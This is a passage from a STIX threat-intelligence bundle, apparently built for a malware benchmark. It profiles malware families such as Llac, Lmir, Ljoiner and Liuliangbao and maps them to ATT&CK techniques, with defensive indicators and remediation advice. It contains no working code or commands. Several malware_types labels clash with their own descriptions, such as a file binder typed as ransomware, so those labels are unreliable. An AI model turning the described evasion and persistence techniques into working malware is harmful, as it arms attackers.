      "relationship_type": "uses",
      "source_ref": "malware--9fe5dda0-9b06-5e01-8627-6aac7cc6f662",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Liudoor exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--68a6794d-8e47-500d-ab4f-202e4387159c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9fe5dda0-9b06-5e01-8627-6aac7cc6f662",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Liudoor exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--795f1a38-141b-5b9b-9b75-316d7bda9cf8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9fe5dda0-9b06-5e01-8627-6aac7cc6f662",
      "target_ref": "attack-pattern--ee167224-c3ac-5c79-bdf1-88c2f727429f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Liudoor exhibits technique T1573.001 (Encrypted Channel: Symmetric Cryptography)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--62c51015-d41b-5a63-9a75-d5cf99262ab4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9fe5dda0-9b06-5e01-8627-6aac7cc6f662",
      "target_ref": "attack-pattern--f2e09458-77a2-5600-b8a7-231363608c16",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Liudoor exhibits technique T1021 (Remote Services (Lateral movement to critical bank infrastructure))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f123d8c2-a5ac-53ea-8a61-5ab0174ff93d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Liuliangbao",
      "description": "Adware:Win32/Liuliangbao (often translated roughly to 'Traffic Treasure') is a Chinese-origin adware family explicitly designed for aggressive Click Fraud and artificial traffic generation (`T1499`). Unlike adware that displays ads to a user, Liuliangbao operates invisibly in the background, weaponizing the host computer's network connection and processing power to simulate legitimate user clicks on advertisements or specific websites to generate fraudulent revenue.<br><br><b>Understanding Liuliangbao (Click Fraud Botnet)</b><br>To an end-user, the infection is primarily felt as a severe degradation in system performance and network speed. For a security team, Liuliangbao is a resource drain that enlists corporate endpoints into a click-fraud botnet, potentially violating acceptable use policies and risking IP blacklisting due to the high volume of automated traffic.<br><br><b>Execution and Fraud Mechanics</b><br>Liuliangbao is typically distributed via software bundlers or disguised as legitimate system optimization tools (PUPs). Upon execution, it establishes persistence via a hidden Windows Service (`T1543.003`). It then launches hidden instances of a web browser (often headless Chrome or Internet Explorer via COM objects) (`T1564.001`). It receives instructions from a C2 server detailing which URLs to visit and which specific ad elements to click. It uses mechanisms to simulate human interaction (randomized mouse movements and scrolling) to bypass basic anti-fraud detection on the advertising networks.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is the unauthorized consumption of bandwidth and system resources for fraudulent purposes. Host-based IoCs include EDR alerts for headless browser execution (e.g., `iexplore.exe` or `chrome.exe` running with `--headless` flags or as SYSTEM), high CPU/memory utilization by these hidden processes, and the presence of Liuliangbao services in the registry. Network IoCs are highly visible: a massive, continuous volume of HTTP/HTTPS traffic to various advertising networks and specific target domains, often attempting to spoof User-Agent strings. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Liuliangbao",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/liuliangbao"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f462dca4-7c63-5627-9815-4f12a588b662",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f123d8c2-a5ac-53ea-8a61-5ab0174ff93d",
      "target_ref": "attack-pattern--2c2773c7-b889-5fa0-bba3-120ba4e8c2e8",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Liuliangbao exhibits technique T1499 (Endpoint Denial of Service (Resource hijacking for click fraud))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--74f23427-bb61-5558-b8a9-2aa337c78bd0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f123d8c2-a5ac-53ea-8a61-5ab0174ff93d",
      "target_ref": "attack-pattern--cc0b5894-87c7-5a25-90e8-09cb9907d5d4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Liuliangbao exhibits technique T1564.001 (Hide Artifacts: Hidden Window (Running invisible browsers to simulate clicks))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--457088cb-7af3-524b-98c1-16409bdfd35d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f123d8c2-a5ac-53ea-8a61-5ab0174ff93d",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Liuliangbao exhibits technique T1543.003 (Create or Modify System Process: Windows Service (Establishing persistence))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--eab35e24-c148-5a00-8b7c-3887d3b6ecf1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Liusky",
      "description": "<h3>Executive Summary</h3>\nLiusky is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nLiusky is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Liusky operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Liusky ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Liusky receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Liusky infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Liusky executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Liusky frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Liusky",
        "Downloader.Liusky",
        "Win32/Liusky"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Liusky",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/liusky"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fa4eccba-0036-5c34-99a9-c35b63ff28ee",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eab35e24-c148-5a00-8b7c-3887d3b6ecf1",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Liusky exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e00b6e19-8a35-5a8f-829b-dd2ea95a379e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eab35e24-c148-5a00-8b7c-3887d3b6ecf1",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Liusky exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5277b908-dd95-5fae-8257-c65cb1236dfa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eab35e24-c148-5a00-8b7c-3887d3b6ecf1",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Liusky exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--87d9bd40-b53a-57b6-802b-4d69a6ea796f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Lixeaqbyzsj",
      "description": "<h3>Executive Summary</h3>\n\"lixeaqbyzsj\" is a heuristic identifier for a highly obfuscated, generically detected Trojan or Dropper. The naming convention (which appears as random, machine-generated gibberish) strongly suggests that this malware was detected dynamically by an antivirus engine's generic heuristic analysis or machine-learning model, indicating a severe attempt by the malware to evade static signature detection.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nMalware utilizing these generic evasion techniques is typically distributed \"filelessly\" via drive-by downloads originating from compromised websites (exploit kits) or as a secondary payload dropped by an initial access broker.\n\nUpon execution, this class of malware prioritizes rapid evasion and payload execution:\n<ul>\n<li><strong>Heavy Obfuscation and Packing:</strong> The executable is heavily packed, encrypted, or virtualized. This prevents security researchers and standard antivirus engines from analyzing its true code until it is unpacked in memory.</li>\n<li><strong>Process Injection:</strong> Rather than executing directly, the malware frequently utilizes Process Hollowing or DLL Injection to insert its malicious code into a legitimate Windows process (e.g., `explorer.exe` or `svchost.exe`). This allows it to bypass application whitelisting and hide its activity from the Task Manager.</li>\n<li><strong>Secondary Payload Delivery:</strong> lixeaqbyzsj typically functions as a loader. Once persistence and stealth are achieved, it communicates with a C2 server to download the primary payload, which could be anything from a cryptominer to ransomware.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nDetection of highly obfuscated, generically named files in critical system directories (like `%AppData%` or `%Temp%`) is a severe indicator of compromise (IoC). It almost guarantees that an advanced threat actor has bypassed initial perimeter defenses and achieved code execution on the endpoint.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Behavioral Analysis (EDR):</strong> Static signature-based AV is largely ineffective against polymorphic threats. Eradication requires an Endpoint Detection and Response (EDR) solution capable of monitoring and terminating processes based on malicious behavior.</li>\n<li><strong>Network Isolation:</strong> Isolate the machine immediately to prevent the malware from phoning home to its C2 infrastructure or pivoting laterally across the network.</li>\n<li><strong>Complete Re-imaging:</strong> Due to the sophisticated evasion techniques employed, attempting to manually \"clean\" the system is highly risky. The most secure remediation is a complete bare-metal wipe and re-image from a trusted backup.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Generic.lixeaqbyzsj",
        "Malware.Obfuscated",
        "Win32/Trojan.Heur"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Lixeaqbyzsj",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/lixeaqbyzsj"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--83b950e0-3d55-5116-8345-4714b97e4ff0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--87d9bd40-b53a-57b6-802b-4d69a6ea796f",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lixeaqbyzsj exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7648be67-c10d-5102-9fdf-304522df88b3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--87d9bd40-b53a-57b6-802b-4d69a6ea796f",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lixeaqbyzsj exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--200531ac-5369-53c2-984a-149897a16635",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--87d9bd40-b53a-57b6-802b-4d69a6ea796f",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lixeaqbyzsj exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fd16ecc8-994b-5ac5-ba73-784598c40e46",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--87d9bd40-b53a-57b6-802b-4d69a6ea796f",
      "target_ref": "attack-pattern--ec9111f9-546d-56c3-9df3-02f39623a470",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lixeaqbyzsj exhibits technique T1106 (Native API)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--63b230da-7623-5d51-b8c5-f1fe443c1597",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ljoiner",
      "description": "HackTool:Win32/Ljoiner is a heuristic detection for utilities known as 'File Binders' or 'Joiners'. These are specialized tools used by malware authors to combine multiple files\u2014typically a legitimate, harmless application (like a PDF or a game installer) and a malicious payload (like a trojan or keylogger)\u2014into a single, executable wrapper. When the victim runs the combined file, the legitimate application opens normally, while the malware silently executes in the background.<br><br><b>Understanding Ljoiner (File Binders)</b><br>To an end-user, a joined file appears perfectly normal; they double-click an invoice, the invoice opens, and they suspect nothing. For a security analyst, a file binder is a critical social engineering enabler (`T1204.002`). It masks the execution of the payload, increasing the likelihood of successful infection by exploiting the user's trust in the 'decoy' file.<br><br><b>Execution and Deception Mechanics</b><br>Attackers use tools flagged as Ljoiner (like the infamous 'IExpress' built into Windows, or custom underground tools) to package their malware. The binder configures a stub executable (`T1027`). Upon execution, the stub extracts both the decoy file and the malicious payload to a temporary directory (e.g., `%Temp%`). It then launches the decoy file visibly for the user, and simultaneously executes the hidden malware payload (`T1055`) using techniques like Process Hollowing or simply running it as a hidden background process.<br><br><b>Indicators of Compromise & Impact</b><br>The impact depends on the hidden payload (ransomware, RAT, etc.). Host-based IoCs include EDR alerts for 'Suspicious Process Spawning' (e.g., a PDF reader process unexpectedly spawning `cmd.exe` or `powershell.exe`). The sudden creation of unknown executables in the `%Temp%` directory immediately following the opening of a seemingly harmless document is a strong indicator. Static analysis of the joined file will often reveal a highly anomalous file structure, with multiple embedded PE (Portable Executable) headers. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ljoiner",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ljoiner"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--de2bde2d-a69f-5905-8c85-b7d0cb953a91",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--63b230da-7623-5d51-b8c5-f1fe443c1597",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ljoiner exhibits technique T1204.002 (User Execution: Malicious File (Tricking the user with a decoy))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e0621d5b-9d53-503e-9e66-dc4c7fb3dd12",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--63b230da-7623-5d51-b8c5-f1fe443c1597",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ljoiner exhibits technique T1027 (Obfuscated Files or Information (Hiding the payload within the wrapper))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9019a114-02ce-518f-8f06-96fa93331c67",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--63b230da-7623-5d51-b8c5-f1fe443c1597",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ljoiner exhibits technique T1055 (Process Injection (Often used to execute the hidden payload))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--49e071bd-6efa-5da9-880e-b4c668847ce5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Llac",
      "description": "Llac (cataloged across security telemetry as Trojan:Win32/Llac, Trojan.Win32.Llac, and Trojan:Win32/Llac.A) is a stealthy information-stealing trojan and surveillance threat active across Windows platforms since 2013. Designed primarily to harvest sensitive user credentials, browser autocomplete data, and system configurations, Llac is delivered via deceptive email attachments, trojanized key generators, and bundled freeware cracks. Upon execution on an endpoint, Llac verifies the execution environment, using anti-debugging routines to bypass basic sandbox analysis. It hooks Windows user input APIs to log keystrokes, extract saved passwords and cookies from installed web browsers (Google Chrome, Mozilla Firefox, Microsoft Edge), and harvest local system metadata including active process lists, IP configurations, and user privilege levels. The trojan secures persistence by adding autostart values to the Windows Registry Run keys (HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run) and establishes encrypted outbound HTTP communication with attacker-controlled command-and-control servers to exfiltrate stolen credentials and download secondary malicious payloads. (Observed samples in benchmark: 104)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Llac",
        "Trojan.Win32.Llac",
        "Trojan:Win32/Llac.A",
        "Trojan:Win32/Llac.B"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Llac",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/llac"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a03bc2b9-bbb4-525a-88df-e13e5b929b8b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--49e071bd-6efa-5da9-880e-b4c668847ce5",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Llac exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bf12fbf5-067e-5a9c-879c-c7f5cee442c7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--49e071bd-6efa-5da9-880e-b4c668847ce5",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Llac exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7f51144e-d6d9-53ba-a4e4-0c78b8621f15",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--49e071bd-6efa-5da9-880e-b4c668847ce5",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Llac exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6b2f71fb-cdee-512f-bd8c-a13f1d4450c5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--49e071bd-6efa-5da9-880e-b4c668847ce5",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Llac exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8eab371e-1557-56fe-86f5-2ce0163db330",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--49e071bd-6efa-5da9-880e-b4c668847ce5",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Llac exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d2ba7d8d-0d34-55e0-9f5b-7ac8f6728e08",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--49e071bd-6efa-5da9-880e-b4c668847ce5",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Llac exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--35215eaf-49bf-54e5-be7f-2fbd7858ab49",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Lmir",
      "description": "Lmir (cataloged across security vendors under signatures including PWS:Win32/Lmir, Trojan-PSW.Win32.Lmir, and Win32/Lmir) is a historic and highly prolific family of password-stealing trojans specifically engineered to hijack user credentials from players of the massively multiplayer online role-playing game (MMORPG) The Legend of Mir. Emerging in 2003 as one of the earliest high-volume cybercrime families focused on virtual asset theft, Lmir hooks Windows keyboard input APIs and monitors active window titles to intercept player account names, character passwords, and server PINs. Once captured, credentials were exfiltrated via background HTTP requests or automated SMTP emails to underground brokers who liquidated rare in-game items, gold, and high-level avatars for real-world fiat currency. (Observed samples in benchmark: 47)",
      "is_family": true,
      "malware_types": [
        "spyware",
        "credential-stealer"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "PWS:Win32/Lmir",
        "Trojan-PSW.Win32.Lmir",
        "Trojan.Win32.Lmir",
        "Win32/Lmir",
        "Legend of Mir Stealer"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Lmir",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/lmir"
        }
      ],
      "labels": [
        "infostealer",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8dbe5946-43fa-5c30-9583-ce7b76712b58",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--35215eaf-49bf-54e5-be7f-2fbd7858ab49",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lmir exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--78959c7e-5802-538b-b538-0a6523e132ba",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--35215eaf-49bf-54e5-be7f-2fbd7858ab49",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lmir exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fa7777b1-1f9f-5cc1-bd8d-81b5c35f6ce8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--35215eaf-49bf-54e5-be7f-2fbd7858ab49",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lmir exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cd1b5d9f-040b-55d8-8e4f-97a4fbeedaf8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--35215eaf-49bf-54e5-be7f-2fbd7858ab49",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lmir exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b040144a-5ec4-5eed-b64b-4e08d918cb5d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--35215eaf-49bf-54e5-be7f-2fbd7858ab49",
      "target_ref": "attack-pattern--298d5d84-c03c-507d-b182-00cbc8d5fb24",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lmir exhibits technique T1036.005 (Masquerading: Match Legitimate Name or Location)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--efbb164c-2afb-58f4-a3b9-eaac4ee65ca4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Lmkfrhivlcfba",
